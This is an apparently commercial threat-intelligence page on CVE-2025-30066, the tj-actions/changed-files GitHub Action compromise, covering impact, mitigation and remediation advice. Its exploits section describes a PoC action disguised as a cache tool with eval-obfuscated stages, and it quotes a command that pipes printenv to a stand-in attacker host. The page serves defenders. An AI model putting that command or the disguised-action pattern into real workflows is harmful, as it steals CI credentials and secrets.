Skip to main content
Live Webinar with SANS (June 25)— Agentic CTI Automation for Fun & ProfitRegister Free
Mallory
HighCISA KEVExploited in the wildPublic exploit

Embedded malicious code in tj-actions/changed-files

IdentifiersCVE-2025-30066CWE-506· Embedded Malicious Code

CVE-2025-30066 is a supply-chain compromise affecting the GitHub Action tj-actions/changed-files. According to the provided content, tags v1 through v45.0.7 were maliciously modified on 2025-03-14 and 2025-03-15 to point to attacker-controlled commit 0e58ed8, which contained malicious updateFeatures code. The injected code caused secrets available to GitHub Actions workflows to be exposed via workflow logs, allowing remote attackers to recover sensitive values by reading those logs. Supporting reporting in the provided content also describes the issue as embedded malicious code in the action and notes that the compromise may have been enabled by a compromised GitHub Personal Access Token and, potentially, a cascading compromise involving reviewdog/action-setup@v1. Affected repositories were those invoking compromised tags rather than immutable commit SHAs.

Share:
For your environment

Are you exposed to this one?

Mallory correlates every CVE against your assets, your vendors, and active adversary campaigns. Know which vulnerabilities matter for you, not just which ones are loud.

ANALYST BRIEF

Impact, mitigation & remediation

What it means. What to do now. Patch path, mitigations, and the assume-compromise checklist.

Impact

What an attacker gets, and what they’ve been doing with it.

Successful exploitation can expose sensitive CI/CD secrets from affected GitHub Actions runs. The provided content specifically cites leakage of AWS access keys, GitHub Personal Access Tokens, npm tokens, and private RSA keys. Exposure of these credentials can enable follow-on compromise of source repositories, package publishing pipelines, cloud environments, signing material, and other downstream systems reachable with the stolen secrets. CISA added the issue to the KEV catalog based on evidence of active exploitation.

Mitigation

If you can’t patch tonight, do this now.

Pin GitHub Actions to specific commit SHAs instead of tags or branches to prevent retroactive tag-poisoning attacks. Minimize the scope and lifetime of secrets available to workflows, prefer short-lived credentials, and restrict token permissions. Audit CI/CD workflows and third-party actions for transitive dependencies and mutable references. Monitor workflow logs and repository changes for unauthorized action updates, and consider replacing affected third-party actions with safer alternatives where feasible.

Remediation

Patch, then assume compromise.

Upgrade tj-actions/changed-files to version 46.0.1 or later, as referenced in the provided content. Replace any workflow references to affected mutable tags (including v1 through v45.0.7) with a known-good fixed version or, preferably, an immutable commit SHA. Audit historical workflow runs during the compromise window for evidence of secret exposure, review logs for anomalous output, and rotate any credentials that may have been present in affected jobs, including cloud keys, GitHub PATs, npm tokens, and private keys. If reviewdog/action-setup@v1 or other related dependencies were used in the same workflows, review and remediate those dependencies as well.
PUBLIC EXPLOITS

Exploits

1 valid exploit after Mallory filtered fakes, detection scripts, and README-only repos (1 hidden).

VALID 1 / 2 TOTALView more in app
compromised-actionMaturityPoCVerified exploit

This repository is a small malicious GitHub Action disguised as a benign cache utility. It contains three files: a minimal README describing it as a simulated compromised action for security research, an action.yml manifest defining a Node 20 GitHub Action named 'Cache Files', and dist/index.js containing the actual logic. The JavaScript implements a lightweight mock of @actions/core helpers, accepts path and key inputs, and performs plausible cache-related output generation to appear legitimate. However, before the normal run() logic, it executes two obfuscated payload stages using eval: one from a hex-decoded string and another from a base64-decoded string. The second stage imports child_process.execSync and runs 'printenv | curl -X POST -d @- https://attacker.example.com/envs', which exfiltrates all runner environment variables to an attacker-controlled endpoint. This is a supply-chain style CI/CD compromise pattern consistent with the README's stated simulation of CVE-2025-30066-style malicious GitHub Actions behavior. The exploit capability is credential and secret theft from CI environments, not host takeover. The code is operational rather than a mere proof of concept because it includes a working hardcoded exfiltration command and preserves expected action behavior to evade detection.

Super-Vulnerable-OrgDisclosed May 14, 2026yamljavascriptsupply_chaincloud
EXPOSURE SURFACE

Affected products & vendors

Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.

VendorProductType
tj-actionsChanged-Filesapplication

Vendor-confirmed product mapping. Mallory continuously reconciles this list against your asset inventory.

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets are affected, which adversaries are exploiting it right now, which detections to deploy, and what to do tonight.
Exposure mapping

Query your assets running an affected version, and investigate the blast radius.

Threat actor evidence

Every observed campaign linking this CVE to a named adversary.

Associated malware

Malware families riding this exploit, with evidence and IOCs.

Detection signatures1

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

Vendor-by-vendor mapping

Cross-references every affected SKU, including bundled OEM variants.

Social activity9

Community discussion across Reddit, Mastodon, and other social sources.